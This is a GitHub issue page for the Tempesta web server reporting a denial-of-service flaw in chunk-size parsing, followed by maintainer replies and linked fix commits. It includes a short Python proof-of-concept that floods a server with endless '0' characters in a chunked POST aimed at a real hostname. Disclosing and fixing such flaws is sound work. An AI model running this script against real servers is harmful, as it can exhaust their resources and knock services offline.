Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Chunked Transfer Coding - chunk-size decoding issue #768

Closed
milabs opened this issue Jul 19, 2017 · 2 comments
Closed

Chunked Transfer Coding - chunk-size decoding issue #768

milabs opened this issue Jul 19, 2017 · 2 comments
Assignees
Milestone

Comments

@milabs
Copy link
Contributor

milabs commented Jul 19, 2017

As per RFC 7230 (4.1):

     chunked-body   = *chunk
                      last-chunk
                      trailer-part
                      CRLF

     chunk          = chunk-size [ chunk-ext ] CRLF
                      chunk-data CRLF
     chunk-size     = 1*HEXDIG
     last-chunk     = 1*("0") [ chunk-ext ] CRLF

     chunk-data     = 1*OCTET ; a sequence of chunk-size octets

Tempesta uses parse_int_hex to decode the length. But that function doesn't track the length of the size field itself. So, it's possible to use any amount of leading zeroes ('0') and although it's allowed by RFC this can be used to cause kind of DOS attack:

000...000100500
bla-bla...
0000....0000....000...

The script to check the issue:

import socket

s = socket.socket()
s.connect(('tempesta-tech.com', 80))

s.send("POST / HTTP/1.1\n")
s.send("Host: tempesta-tech.com\n")
s.send("Transfer-Encoding: chunked\n")
s.send("\n")
s.send("5\nHELLO\n")

while True:
    s.send('0')
@krizhanovsky krizhanovsky added this to the 0.5.0 Web Server milestone Jul 19, 2017
@krizhanovsky
Copy link
Contributor

@milabs thank you for the report!

aleksostapenko added a commit that referenced this issue Aug 22, 2017
Fix #768: Set limit for digits count in 'chunk-size' field of chunked request.
@krizhanovsky
Copy link
Contributor

The acc limit checking has following problems which must be fixed:

  • UINT_MAX limit don't work against negative values;
  • 32-bit integer could be not enough since there is no RFC limitation for maximum chunk size, so a poor server can send quite large file in single chunk. So long type must be used instead. Please check all other code for int/long compatibility.

Issue #498 (HTTP message buffering and streaming) requires streaming HTTP processing. Meantime, having too large chunks (as well as too large message bodies) we can fail by OOM. To mitigate the problem one can use http_body_len Frang limit.

@krizhanovsky krizhanovsky reopened this Aug 23, 2017
aleksostapenko added a commit that referenced this issue Aug 24, 2017
aleksostapenko added a commit that referenced this issue Aug 25, 2017
Fix #768:  1. Replace 'int' with 'long' for chunks size. 2. Add check for 'signed long' overflow.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

4 participants